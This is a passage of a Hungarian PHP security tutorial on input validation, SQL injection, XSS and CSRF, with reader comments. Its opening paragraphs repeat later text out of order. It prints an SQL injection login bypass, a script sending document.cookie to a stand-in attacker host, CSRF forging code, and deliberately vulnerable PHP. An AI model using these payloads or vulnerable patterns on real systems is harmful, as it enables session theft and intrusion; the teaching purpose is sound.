PHP a frontvonalon, védekezés a bemeneten
Legutóbbi cikkeimben is már a biztonság kérdését feszegettem a munkamenet kezelés kapcsán (Munkamenet kezelés alapjai és Munkamenet kezelés biztonsági kérdései). Ezúttal ezen az ösvényen szeretnék továbbhaladni, és három konkrét támadási móddal megismertetni a kedves olvasót. A cikk olvasása előtt ajánlom sunz hasonló jellegű cikkét (PHP, valamennyire biztonságosabban) mindenkinek, aki elmulasztotta volna, melyben elég széles spektrumban (szerver konfiguráció, programozás technika) kapunk biztonsággal kapcsolatos tanácsokat, ötleteket.
Az ismertetésre kerülő módszerek közül az első kettő sikeressége azon alapszik, hogy programunk nem, vagy nem kellő alapossággal kezeli a külső forrásból származó adatokat. Talán nem hangsúlyozható eléggé, hogy mennyire fontos jelentőséggel bír ezek megfelelő ellenőrzése.
1.) Tegyük fel, hogy alkalmazunk kliens oldali ellenőrzést, de:
3.) A felhasználó gépén tárolt sütik tartalma is bármikor módosítható akár egy egyszerű szövegszerkesztő segítségével, így ezek tartalma sem megbízható, csak olyan adatokat tároljunk ilyen formában, melyek illetéktelen megváltoztatása nem okoz gondot. Van a sütiknek egy speciális fajtája, amely csak az adott böngésző példány futásának időtartama alatt él, az úgynevezett munkamenet süti ("session cookie"). Ezek tartalma elvileg nem egy fájlban kerül tárolásra, hanem a böngésző által használt memória területen, de ez erősen függhet az adott böngésző implementációjától, illetve egy kellően felkészült támadó ezt is képes lehet módosítani. Ráadásul, mint már az előbb említettem, mivel ez is a kliens felől érkezik, bármikor tetszés szerint hamisítható.A várt adatok leírása egy tömbbe kerül. Ennek
Esetleg megteremthetjük annak lehetőségét, hogy megadhassuk, hogy az adott paramétert milyen forrásból (GET/POST/süti) várjuk, de ennek igazából értelmét nem látom. Attól nem lesz biztonságosabb az alkalmazásunk, mert egy adott paramétert (amit egy űrlap elküldésével várunk) nem fogadunk el URL-n keresztül átadva, hisz az űrlap maga is hamisítható, az a fontos, hogy a felhasználó által küldött adatokat megfelelően ellenőrizzük, a felhasználó ne tudja alkalmazásunk állapotát (adatbázis, stb.) számára nem megengedett módon változtatni.
A fentebb vázolt lehetőség elsőre feleslegesnek, túlzottan bonyolultnak tűnhet, de nem így van. Egyrészt tapasztalatból mondhatom, amikor már másodjára kell az embernek azzal vesződnie, hogy egy oldal számára küldött adatokat ellenőrizze, egyből érezni kezdi, hogy itt valami általános megoldásra van szükség, ami leveszi ezen állandóan ismétlődő programrészek megírásának terhét, és egy magasabb absztrakciós szintre emeli ezt a folyamatot. Egy ilyen jellegű megközelítéssel elérhetjük, hogy programunk érdemi részére koncentrálhassunk. És ha például ezt a tömböt egy külső fájlba helyezzük, akkor kódunk is lényegesen egyszerűbbé, átláthatóbbá válik.
Másrészt, ha jobban megnézzük, a szűrők segítségével sok hasznos funkciót építhetünk be rendszerünkbe. Például egy fórumhozzászólás esetén az üzenetben nem szeretnénk ha szerepelnének HTML elemek, ezért használjuk a
Jön egy felhasználó, beírja: "Pistike" és "anyu", ennek eredménye a következő lekérdezés lesz:És ez így teljesen jó is, ha van Pisitke nevű felhasználónk anyu jelszóval, akkor engedi belépni. Viszont jön a gonosz felhasználó, aki szeretne Pistike nevében elkövetni valami gazságot és a következőt írja be: "Pistike" és "barmi' OR 1 = '1", ennek eredménye ez lesz:Ez a lekérdezés bármely felhasználónév megadása esetén igaz lesz, így a támadó sikeresen belép Pistike nevében rendszerünkbe.
Ezen támadási mód alkalmas lehet adatbázis szerkezetünk felderítésére is, illetve annak ismeretében akár a teljes adatbázis, vagy egyes tábláinak törlésére. A módszer lényege, hogy a támadó úgy módosítja a beírtakat, hogy egyéb lekérdezéseket fűz a mi lekérdezésünk végére, és a kapott hibaüzenetek tartalmazzák számára a szükséges információkat. Ha például sikerül megtudnia egy tábla nevét, akkor akár egy
Az SQL injection támadások elleni védekezés elemei:
Ha programunk ezt így ebben a formában jeleníti meg, akkor a tárgyban lévő JavaScript kód le fog futni, és a felhasználó csodálkozni fog, hogy mi is történt. Ez egy ártatlan példa, sokkal bosszantóbb lehet, ha mondjuk egy fórumüzenetbe rejtett JavaScript kóddal átirányítjuk a látogatót egy másik oldalra: vagy éppenséggel felbukkanó ablakokat nyitunk meg. De ez nem minden, lehetőségünk van ezen technológia felhasználásával a felhasználó számára érzékeny adatok ellopására is. Vegyük például a következő kódot:Ha ezt egy adott rendszerbe már belépett felhasználó számára megjelenített oldalra sikerül a támadónak bejuttatnia, akkor a felhasználónak a rendszerhez tartozó domainhez beállított sütijeit a cookielopo.php megkapja. Ezáltal a támadó olyan információk birtokába juthat, mellyel könnyedén visszaéléseket követhet el az adott felhasználó nevében. Például elég gyakori, hogy a munkamenet azonosítót sütiben tárolják, aminek a birtokában a támadó létrehoz a saját gépén egy a megtámadott domainhez tartozó sütit a megszerzett adatok szerint megfelelően kitöltve, majd egyszerűen ellátogat az oldalra, és egyből a lépre csalt felhasználóként lesz bejelentkezve.
Az XSS támadások elleni védekezés alapja szintén a bejövő adatok megfelelő szűrése. Mint láthatjuk, ismét előkerült a szűrés fogalma, érdemes pár szót ejteni arról, hogy ennek felépítése során hogyan érdemes eljárni. A legalapvetőbb szempont, hogy inkább eleinte legyünk szigorúbbak. Például nevek esetén első lépésben csak betűket engedünk meg. Jön egy György-Pál nevű ember, akkor ezen a szabályon enyhítünk egy kicsit és a megengedett karakterek közé felvesszük a – jelet is. Így egy kis idő múlva kellően tökéletessé válik rendszerünk. Az eltúlzott szabályokat a felhasználók egyből jelezni fogják, míg a túlságosan lazákról esetlegesen csak túl későn értesülünk.
Erre a megszólított webszerver válaszolni fog, és például a következőt küldi:A böngészőnk a kapott kód feldolgozása közben észreveszi, hogy neki az oldal megjelenítéséhez szüksége van a szep_uj_logonk.jpg nevű képre, ezért egy újabb kérést küld a webszervernek:Amire válaszul a szerver odaadja a böngészőnknek a kívánt képet. Ez eddig rendben van, most lássuk, mi történik, amikor egy oldalon (http://uzenofal.hu) a bejelentkezés után (munkamenet azonosító sütibe került) kitöltjük és elküldjük a következő egyszerű üzenetküldő űrlapot.A böngészőnk a következő kérést küldi a webszervernek:Láthatjuk, hogy a "kép erőforrás" és "program erőforrás" lekérdezése között semmilyen különbség sincs. Ezt használja ki egy CSRF támadás, és legkedveltebb eszközük egy hamisított kérés küldésére nem más, mint egy HTML Ennek hatására egy teljesen ugyanolyan kérés megy a szerver felé, mintha a weboldalon az Elküldés gombra kattintottunk volna. Ráadásul a felhasználó gépen tárolt sütik is belekerülnek a kérésbe, így az
Ezzel a módszerrel még egy jól megírt munkamenet kezeléssel, felhasználó ellenőrzéssel rendelkező rendszer is kijátszható, ráadásul még akkor is sikeres tud lenni egy ilyen támadás, ha a rendszer elérhetősége korlátozva van. Hiszen a támadást maga az adott funkció elérésére jogosult felhasználó „hajtja végre”.
Nézzük, hogy hogyan is védekezhetünk a CSRF támadások ellen. Először is kézenfekvő megoldás lehet, hogy az űrlapok küldésekor POST metódust használjunk, de ez korántsem elegendő, hiszen egy POST kérés is viszonylag könnyen hamisítható. Elegendő, ha a támadónak sikerül a felhasználót rávennie, hogy kattintson egy képre, linkre, ami mögött egy űrlap elküldése áll, ami egy rejtett űrlap elemben tárolja az POST-olni kívánt adatokat, de még erre sincs feltétlenül szükség, például a következő JavaScript kód dinamikusan állít elő és küld el egy űrlapot:POST metódus használata esetén viszont a felhasználó számára nyilvánvaló lehet, hogy valami történt, hisz az űrlap elküldése után az azt feldolgozó oldalra kerül, habár még ez is elkerülhető, ha az űrlap
A megfelelő védelem részeként érdemes lehet komolyabb súlyú akciók esetén egy az adott akció jóváhagyását kérő lépcsőfok beiktatása, ami POST metódus esetén rendkívül megnehezíti egy sikeres CSRF támadás lehetőségét.
Ezenkívül az is komoly biztonságot nyújthat az ilyen jellegű támadásokkal szemben, ha valamilyen módon azonosítani tudjuk űrlapunkat. Tehát minden alkalommal, amikor egy űrlapot generálunk a felhasználó számára, akkor elrejtünk benne egy azonosítót, amit szerver oldalon is eltárolunk mondjuk a felhasználó munkamenetébe (felülírva az előző ehhez az űrlaphoz tartozó azonosítót), majd amikor egy űrlapot küldenek nekünk, akkor megnézzük, hogy érkezett-e ilyen azonosító. Ha nem, akkor egyből kiderül, hogy valami nem stimmel, ha igen, akkor ellenőrizzük annak valódiságát, és csak ha ebben megbizonyosodtunk, hajtjuk végre a kívánt akciót.
Azonosító elrejtése az űrlapba:A CRSF támadás elleni védekezésben ráadásul még megfelelő felhasználói házirend is szerepet játszhat, például előírhatjuk a rendszer felhasználóinak, hogy böngészőjükben tiltsák a "third party" sütik használatát, vagyis az oldal által tartalmazott, de nem az oldal domainjében elhelyezkedő erőforrások lekérésekor a böngésző ne küldje el az erőforrást tartalmazó domain számára esetlegesen korábban bejegyzett sütiket.
Levelező program ellenőrző:Először böngészőn keresztül hívtam meg a scriptet, hogy beállítsam a sütit, majd küldtem magamnak egy egyszerű HTML levelet a következő tartalommal:Miután megkaptam a levelet, rákattintottam a linkre. Az Apache access logjában mindkét kérés megjelent, viszont a saját kis logfájljaim tartalma a következő volt:A fenti programot Outlook Express-szel (az IE-t használja HTML levelek megjelenítésére), illetve Mozillával (a levelező a böngészőbe van integrálva) próbáltam ki, mindkét esetben a remélt, megnyugtató működést tapasztaltam: egy levélen keresztül történő támadás csak akkor lehet sikeres, ha a felhasználót sikerül rávenni arra, hogy egy a levélben található linkre rákattintson. Ez azonban nem biztos, hogy így van egy webes levelezőprogramnál, fontos ismernünk tehát ezt a kockázati lehetőséget egy ilyen, vagy számunkra ismeretlen levelezőprogram használatakor. Rengeteg ember levelező programja sajnos úgy van beállítva, hogy a HTML tartalmat egyből megmutassa, de azért már jóval kisebb számú az a botor felhasználó, aki egy linkre rákattint.
Remélem ezúttal is sikerült pár hasznos dologra felhívni a figyelmet, legközelebb a kliens és a szerver közötti, az oldal látszólagos, illetve tényleges újratöltődése nélküli kommunikáció lehetséges megoldásait fogom áttekinteni.
■ Az ismertetésre kerülő módszerek közül az első kettő sikeressége azon alapszik, hogy programunk nem, vagy nem kellő alapossággal kezeli a külső forrásból származó adatokat. Talán nem hangsúlyozható eléggé, hogy mennyire fontos jelentőséggel bír ezek megfelelő ellenőrzése.
Beérkező adatok megbízhatósága
Alkalmazásunkhoz a böngésző felől GET vagy POST metódussal küldött, illetve sütikben tárolt adatok érkezhetnek, de ezenkívül még számtalan adatforrás elképzelhető. Ezek mindegyikét teljesen megbízhatatlannak kell tartanunk, és mielőtt felhasználnák őket, teljes körű ellenőrzésnek kell alávetni őket. Fontos annak a felismerése, hogy bármilyen kliens oldali ellenőrzés a biztonság szemszögéből tekintve teljesen lényegtelen, inkább csak kényelmi funkciónak tekinthető.1.) Tegyük fel, hogy alkalmazunk kliens oldali ellenőrzést, de:
- a felhasználó bármikor letilthatja böngészőjében a JavaScript kódok futtatását, így űrlapunk ellenőrzés nélkül kerül elküldésre.
- elküldhet egy módosított űrlapot is a szerverünknek. Persze ilyenkor a
HTTP_REFERER
környezeti változó értéke üres lesz, de igazából ennek meglétére amúgy sem szabad alapozni, mert könnyen akadhat olyan kliens, amely ezt a fejlécet nem, vagy nem igaz adattal tölti ki.
- ezenkívül a gonosz támadó a böngésző teljes megkerülésével, akár egy sima Telnet program segítségével is kezdeményezhet kommunikációt, és küldhet tetszőleges adatokat programunknak, ráadásul megfelelő HTTP fejlécek (pl.
USER_AGENT
) megadásával azt is elhitetheti, hogy az adatok egy böngészőből érkeznek.
3.) A felhasználó gépén tárolt sütik tartalma is bármikor módosítható akár egy egyszerű szövegszerkesztő segítségével, így ezek tartalma sem megbízható, csak olyan adatokat tároljunk ilyen formában, melyek illetéktelen megváltoztatása nem okoz gondot. Van a sütiknek egy speciális fajtája, amely csak az adott böngésző példány futásának időtartama alatt él, az úgynevezett munkamenet süti ("session cookie"). Ezek tartalma elvileg nem egy fájlban kerül tárolásra, hanem a böngésző által használt memória területen, de ez erősen függhet az adott böngésző implementációjától, illetve egy kellően felkészült támadó ezt is képes lehet módosítani. Ráadásul, mint már az előbb említettem, mivel ez is a kliens felől érkezik, bármikor tetszés szerint hamisítható.
Beérkező adatok ellenőrzése
Mint láttuk ez alapvető fontosságú, és mivel jóformán minden programunk állandóan ismétlődő része, ezért célszerű ezt általánosan megírni, esetleges használati tapasztalatok alapján folyamatosan csiszolni, így elég hamar egy jól használható eszközhöz jutunk. Egy lehetséges megoldás például a következő lehet:
<?php
// Definiáljuk, hogy a programunk milyen input adatokat vár
$values = array(
'filters' => array(
'trim'
),
'values' => array(
'topicID' => array(
'rules' => array(
'required',
'integer',
’between’ => array(0, 10000)
)
),
'loginName' => array(
'rules' => array(
'required',
'maxLength' => 10,
'regExp' => '/[A-Z][a-z]+/'
)
),
'email' => array(
'rules' => array(
'required',
'email'
)
),
'message' => array(
'default' => ’Semmi okos se jut az eszembe, szép napot mindenkinek!’
'filters' => array(
'stripHTML'
)
)
)
);
// Input adatok feldolgozása
if ( true === ($errors = validateInput()) {
// A $topicID, $name, $email, $message változók megfelelő tartalommal
// a rendelkezésünkre állnak, nyugodtan használhatjuk őket
} else {
// hibakezelés
}
?>
’filters’
tömbeleme tartalmazhat olyan szűrőket, melyek minden adat esetén meghívásra kerülnek, például hasznos lehet minden bejövő adat esetén a felesleges szóköz karakterek levágása. A ’values’
tömbelem azt tartalmazza, hogy milyen adatokat vár programunk. Itt megadjuk a változók nevét, illetve különböző szabályokat és szűrőket rendelhetünk hozzájuk. Például megadhatjuk, hogy az adott paraméterre feltétlenül szükségünk van, hogy egy formailag tökéletes e-mail cím legyen, vagy például egész szám 0 és 10 000 között, de akár mintaillesztő kifejezésnek való megfelelést is előírhatunk, stb. Itt jegyezném meg, hogy a webes környezetben fejlesztők számára a mintaillesztő kifejezések használata egy rendkívül hasznos eszköz, mindenféleképpen ajánlom legalább alapszintű megismerését. Ezenkívül az egyes adatokhoz külön szűrőket rendelhetünk. Esetleg megteremthetjük annak lehetőségét, hogy megadhassuk, hogy az adott paramétert milyen forrásból (GET/POST/süti) várjuk, de ennek igazából értelmét nem látom. Attól nem lesz biztonságosabb az alkalmazásunk, mert egy adott paramétert (amit egy űrlap elküldésével várunk) nem fogadunk el URL-n keresztül átadva, hisz az űrlap maga is hamisítható, az a fontos, hogy a felhasználó által küldött adatokat megfelelően ellenőrizzük, a felhasználó ne tudja alkalmazásunk állapotát (adatbázis, stb.) számára nem megengedett módon változtatni.
A fentebb vázolt lehetőség elsőre feleslegesnek, túlzottan bonyolultnak tűnhet, de nem így van. Egyrészt tapasztalatból mondhatom, amikor már másodjára kell az embernek azzal vesződnie, hogy egy oldal számára küldött adatokat ellenőrizze, egyből érezni kezdi, hogy itt valami általános megoldásra van szükség, ami leveszi ezen állandóan ismétlődő programrészek megírásának terhét, és egy magasabb absztrakciós szintre emeli ezt a folyamatot. Egy ilyen jellegű megközelítéssel elérhetjük, hogy programunk érdemi részére koncentrálhassunk. És ha például ezt a tömböt egy külső fájlba helyezzük, akkor kódunk is lényegesen egyszerűbbé, átláthatóbbá válik.
Másrészt, ha jobban megnézzük, a szűrők segítségével sok hasznos funkciót építhetünk be rendszerünkbe. Például egy fórumhozzászólás esetén az üzenetben nem szeretnénk ha szerepelnének HTML elemek, ezért használjuk a
stripHTML
szűrőt, amely eltávolítja az adott változóból a HTML elemeket, így a feldolgozás során már ezzel nekünk nem kell törődnünk. A szabályokhoz hasonlóan a szűrőknek is átadhatunk paramétereket, melyek befolyásolják az adott szűrő viselkedését, például a stripHTML
szűrőnek megadhatjuk, hogy mely HTML elemeket hagyja mégis a szövegben.Az ’idegen’ adat
Az ellenőrzés szükségessége triviálisnak tűnik GET/POST/süti forrásból bejövő adatok esetén, de ugyanúgy bizalmatlanok kell legyünk bármilyen külső forrásból származó adat esetén, melyekkel rendszerünk kapcsolatban áll, feldolgoz, megjelenít. Veszélyes lehet akár egy web szolgáltatás által visszaadott XML dokumentum, vagy akár egy e-mail is, aminek tartalmát például webmail rendszerünkben megjelenítjük. És most következzen a már említett három támadási lehetőség.SQL injection
Ennek a módszernek a lényege, hogy megfelelően formázott bemeneti adatokkal próbálja a támadó (a gonosz :) ) elérni, hogy programunk módosított SQL lekérdezéseket hajtson végre. Lássuk a következő kódrészletet:
<?php
if (isset($_POST['userName']) && isset($_POST['password'])) {
mysql_connect("localhost", "user", "pass");
mysql_select_db("myDb");
$query = "SELECT
count(*) FROM users
WHERE
userName='{$_POST['userName']}'
AND
password='{$_POST['password']}'
";
$result = mysql_query($query) or die('Muysql hiba: '.mysql_error());
if (mysql_num_rows($result) > 0) {
// sikeres bejelentkezés
echo ’Isten hozott!’;
} else {
// hibás felhasználónév vagy jelszó
echo ’Sicc innen!’;
}
} else {
echo '
<form name="login" method="post">
Felhasználónév: <input type="text" name="userName" />
Jelszó: <input type="text" name="password" />
<input type="submit" value="Bejelentkezés" />
</form>
';
}
?>
SELECT count(*) FROM users
WHERE userName = 'Pistike' AND password = 'anyu'
SELECT count(*) FROM users
WHERE userName = 'Pistike' AND password = 'barmi' OR 1 = '1'
Ezen támadási mód alkalmas lehet adatbázis szerkezetünk felderítésére is, illetve annak ismeretében akár a teljes adatbázis, vagy egyes tábláinak törlésére. A módszer lényege, hogy a támadó úgy módosítja a beírtakat, hogy egyéb lekérdezéseket fűz a mi lekérdezésünk végére, és a kapott hibaüzenetek tartalmazzák számára a szükséges információkat. Ha például sikerül megtudnia egy tábla nevét, akkor akár egy
DROP táblanév;
utasítást is fűzhet a mi lekérdezésünk végére.Az SQL injection támadások elleni védekezés elemei:
- bejövő adatok védelme ("escape-elése"). Ha egy mezőbe olyan karaktereket (általában az aposztróf, idézőjel, utasítás határoló jel, megjegyzés jel) szeretnék beszúrni, aminek az adott adatbázis kezelő rendszer esetén speciális jelentése van, akkor ezen karakterek elé egy speciális karaktert (többnyire \) kell tenni, mely jelzi, hogy az őt követő karakter nem bír speciális jelentéssel (ez különbözhet adatbázis motortól függően). Mivel ezen támadási mód lényege, hogy a támadó speciális karaktereket helyez el az bemenetben, ezért az szöveg megvédésével az esetlegesen ártó szándékú tartalmat hatástalanítjuk. Szövegek esetén amúgy is szükséges a megvédés, hiszen a szövegben normál esetben is szerepelhetnek speciális karakterek (gondoljunk csak az O'Reilly névre, vagy a becenevekre, melyeket idézőjelekkel szokás írni).
- érdemes ahol csak módunkban áll a várt adatok hosszát limitálni, ahol csak lehet dolgozzuk fel a bejövő adatot, ha csak egy szót várunk, akkor dobjuk el az első szóhatároló utáni részt, ha számot várunk, akkor alakítsuk át számmá, ha bármilyen formai elvárásunk van vele kapcsolatban, akkor ellenőrizzük mintaillesztő kifejezésekkel, vagy egyéb módon. Ez a plusz költség a biztonság oldalán megtérül majd.
- a program által használt adatbázis felhasználó jogait korlátozzuk le amennyire csak lehet, érdemes lehat az oldal adminisztrációs felületéhez külön felhasználót használni, amely rendelkezik ezen felület plusz funkcionalitása által igényelt plusz adatbázis jogokkal.
XSS – Cross Site Scripting
Az XSS támadások alapja az, hogy a támadó megpróbálja ártó szándékú script (főként JavaScript) bejuttatását oldalunkba. Mint már korábban említettem fontos, hogy minden, talán korántsem triviális külső adatforrást megbízhatatlannak minősítsünk. Bármi, amit egy weboldalon megjelenítünk, tartalmazhat ártalmas kódokat. Csak hogy egy alap képet kapjunk, vegyünk például egy webes levelező rendszert. A rosszindulatú felhasználó küldhet egy ilyen tárgyú levelet:
You win 1000$!!!<script>alert('Oh No!');</script>
<script>document.location = 'http://azenaranytojasttojoreklamoldalam.hu';</script>
<script>
document.location =
'http://gonosz.tamado.hu/cookielopo.php?cookies=' + document.cookie;
</script>
Az XSS támadások elleni védekezés alapja szintén a bejövő adatok megfelelő szűrése. Mint láthatjuk, ismét előkerült a szűrés fogalma, érdemes pár szót ejteni arról, hogy ennek felépítése során hogyan érdemes eljárni. A legalapvetőbb szempont, hogy inkább eleinte legyünk szigorúbbak. Például nevek esetén első lépésben csak betűket engedünk meg. Jön egy György-Pál nevű ember, akkor ezen a szabályon enyhítünk egy kicsit és a megengedett karakterek közé felvesszük a – jelet is. Így egy kis idő múlva kellően tökéletessé válik rendszerünk. Az eltúlzott szabályokat a felhasználók egyből jelezni fogják, míg a túlságosan lazákról esetlegesen csak túl későn értesülünk.
CSRF - Cross-Site Request Forgeries
Az előbb ismertetett támadás a látogató weboldal iránti bizalmán alapszik, és így egy támadó által veszélyes tartalommal ellátott weboldalra érkezve úgymond áldozattá válhat. A most bemutatandó technika viszont pont ennek ellenkezője, a weboldal felhasználó iránti bizalmára épül. A CSRF támadás alapja egy meghamisított HTTP kérés, ezért először nézzük meg, hogy hogyan is néz ki egy normál kérés. Mondjuk beírjuk a böngészőnkbe, hogyweblabor.hu
. Erre a böngészőnk küld egy kérést a megfelelő webszervernek, ami a következőképpen néz ki:
GET / HTTP/1.1
Host: weblabor.hu
HTTP/1.1 200 OK
Content-Length: 69
<html>
<img src="http://weblabor.hu/szep_uj_logonk.jpg" />
</html>
GET /szep_uj_logonk.jpg HTTP/1.1
Host: weblabor.hu
<html>
<form action="/uzenet.php">
Tárgy: <input type="text" name="subject"
<br>Szöveg: <textarea name="message"></textarea>
<br><input type="submit" value="Elküldés">
</form>
</html>
GET /uzenet.php?subject=hat&message=nemistudom HTTP/1.1
Host: uzenofal.hu
Cookie: PHPSESSID=123456789
img
elem. Ha például szeretnénk egy üzenetet küldeni a fenti oldalra egy felhasználó nevében, akkor elegendő őt rávenni, hogy nézzen meg egy oldalt, ami tartalmazza a következő HTML kódot:
<img src="http://uzenofal.hu/uzenet.php?subject=Elvis%20a%20kiraly&message=..." />
uzenet.php
script belépettnek fogja tekinteni a felhasználót és rögzíti az üzenetét. És minderről a felhasználó semmit sem fog tudni, noha a történteknek, akaratlanul ugyan, de cinkos társa.Ezzel a módszerrel még egy jól megírt munkamenet kezeléssel, felhasználó ellenőrzéssel rendelkező rendszer is kijátszható, ráadásul még akkor is sikeres tud lenni egy ilyen támadás, ha a rendszer elérhetősége korlátozva van. Hiszen a támadást maga az adott funkció elérésére jogosult felhasználó „hajtja végre”.
Nézzük, hogy hogyan is védekezhetünk a CSRF támadások ellen. Először is kézenfekvő megoldás lehet, hogy az űrlapok küldésekor POST metódust használjunk, de ez korántsem elegendő, hiszen egy POST kérés is viszonylag könnyen hamisítható. Elegendő, ha a támadónak sikerül a felhasználót rávennie, hogy kattintson egy képre, linkre, ami mögött egy űrlap elküldése áll, ami egy rejtett űrlap elemben tárolja az POST-olni kívánt adatokat, de még erre sincs feltétlenül szükség, például a következő JavaScript kód dinamikusan állít elő és küld el egy űrlapot:
<script>
var myInput;
var form = document.createElement("form");
form.method = 'post';
form.action = 'http://uzenofal.hu/uzenet.php';
var input = document.createElement("input");
input.type = 'hidden';
document.body.appendChild( form );
form.method = "post";
myInput = input.cloneNode();
form.appendChild( myInput );
myInput.name = "subject";
myInput.value = "hat";
myInput = input.cloneNode();
form.appendChild( myInput );
myInput.name = "message";
myInput.value = "EljenRakosi";
form.submit();
</script>
target
je például egy rejtett frame. Valamint az újabb böngészőkben már létezik egy XMLHTTP nevű objektum, amin keresztül kommunikációt folytathatunk észrevétlenül a szerverrel.A megfelelő védelem részeként érdemes lehet komolyabb súlyú akciók esetén egy az adott akció jóváhagyását kérő lépcsőfok beiktatása, ami POST metódus esetén rendkívül megnehezíti egy sikeres CSRF támadás lehetőségét.
Ezenkívül az is komoly biztonságot nyújthat az ilyen jellegű támadásokkal szemben, ha valamilyen módon azonosítani tudjuk űrlapunkat. Tehát minden alkalommal, amikor egy űrlapot generálunk a felhasználó számára, akkor elrejtünk benne egy azonosítót, amit szerver oldalon is eltárolunk mondjuk a felhasználó munkamenetébe (felülírva az előző ehhez az űrlaphoz tartozó azonosítót), majd amikor egy űrlapot küldenek nekünk, akkor megnézzük, hogy érkezett-e ilyen azonosító. Ha nem, akkor egyből kiderül, hogy valami nem stimmel, ha igen, akkor ellenőrizzük annak valódiságát, és csak ha ebben megbizonyosodtunk, hajtjuk végre a kívánt akciót.
Azonosító elrejtése az űrlapba:
<?php
$token = md5( time() );
$_SESSION['token'] = $token;
echo '
<html>
<form action="/uzenet.php">
<input type="hidden" name="token" value="' . $token . '"
Tárgy: <input type="text" name="subject"
<br>Szöveg: <textarea name="message"></textarea>
<br><input type="submit" value="Elküldés">
</form>
</html>
';
?>
Támadás levelezőn keresztül
Egy dolgot még kipróbáltam kíváncsiságból. Az érdekelt volna, hogy amikor egy levelező program megjelenít egy HTML levelet, és a levél tartalmaz külsőleg linkelt képet, akkor webszervernek küldött kérésbe beleteszi-e az adott kép domainjéhez az adott gépen beállított sütiket. A következő egyszerű kis programot használtam:Levelező program ellenőrző:
<?php
if (!isset($_COOKIE['felho'])) {
setcookie('felho', 1, time()+3600);
} else {
$cookie = $_COOKIE['felho'];
$cookie++;
setcookie('felho', $cookie, time()+3600);
}
$FILE = fopen(time().'.txt', 'w');
fputs($FILE, print_r($_GET, true));
fputs($FILE, print_r($_COOKIE, true));
fclose($FILE);
?>
<html>
<body>
<img src="http://felho.hu/x.php?x=bela">
<a href="http://felho.hu/reklam.html">klikk ide</a>
<!-- a reklam.html-ben is van egy a fentivel megegyező img tag -->
</body>
</html>
// a kép lekéresekor generált file
Array
(
[x] => bela
)
Array
(
)
// a linkre való kattintás nyomán generált file
Array
(
[x] => bela
)
Array
(
// az értékből következik, hogy a cookie megelőzően már létezett
[felho] => 10
)
Remélem ezúttal is sikerült pár hasznos dologra felhívni a figyelmet, legközelebb a kliens és a szerver közötti, az oldal látszólagos, illetve tényleges újratöltődése nélküli kommunikáció lehetséges megoldásait fogom áttekinteni.
Hmm
Egyébként még annyit hozzá lehetne csapni, hogy nem csak a belépő adatokat érdemes figyelni, hanem a kilépőket is. :)
Pl.:
- nem kiengedni hibaüzeneteket, amik jó kis információkat adhatnak
Tovább lehet bontani.
-boogie-
Hmm
Amugy meg szerintem bizonyos kimentről tudjuk, hogy minek kell lennie, még néha azt is érdemes rostán átereszteni.
[i]Jó a cikk. Gratula hozzá
Koszi :)
Egyébként még annyit hozzá lehetne csapni, hogy nem csak a belépő adatokat érdemes figyelni, hanem a kilépőket is. :)
Pl.:
- nem kiengedni hibaüzeneteket, amik jó kis információkat adhatnak
Errol esett szo sunz cikkeben, azert nem emlitettem. Meg hat a hibakezeles is egy olyan tema, amirol lehetne jo sokat irni, mar formalodik is bennem... ;)
Felho
Nm. :) Igen tudom, hogy ot
Igen tudom, hogy ott is szó volt róla, de azért mikor írtad, hogy érdemes készíteni egy olyan megoldást(osztályt pl), amivel a bemenő adatokat lehet vizsgálni résznél gondoltam rá, hogy oda lehetett volna bigyeszteni kis megjegyzésként.
Egyébként én XSS cikk(eken) gondolkodok erősen most, hogy vége a vizsgaszezonnak. :)
[i]hogy oda lehetett volna bi
Valamit azert az olvasok is csinaljanak ;)
Egyébként én XSS cikk(eken) gondolkodok erősen most, hogy vége a vizsgaszezonnak. :)
Csak tamogatni tudom az otleted, meg irigyellek a nyari szunet miatt. :)
Felho
Hát annyira nyáriszünet, h
- Slackware power -
Szia! [i]Egyébként én X
Egyébként én XSS cikk(eken) gondolkodok erősen most, hogy vége a vizsgaszezonnak. :)
Talaltam egy erdekes dolgot, ennek ha van kedved utana jarhatnal peldaul. PHP5 eseten van lehetoseg input filter hasznalatara (forras->README.input_filter). PHP4 4.3.0-tol felfele is elvileg (http://www.google.com/search?q=php+treat_data++hook) meg lehet oldani, de most nincs idom kiprobalni.
Az egesz ertelme az lenne, hogy bizonyos jellegu ellenorzesek, szuresek nem a programozo felelosegere lennenk bizva, hanem automatikusan vegrehajtasra kerulnenek, es a GPC tombokben mar a szurt adat kerulne bele.
Felho
Hmm
Amugy el kezdtem már írni a cikket. Csak jól alaposan utána járok mégegyszer, hogy lehetőleg ne írjak nagy hülyeséget.
elkezdtem csinalni egy osztalyt...
itt a class (nincs teljesen kesz a rules resze) es a vegen a mintaprg reszlet:
Nagyon hasznos cikk, grat.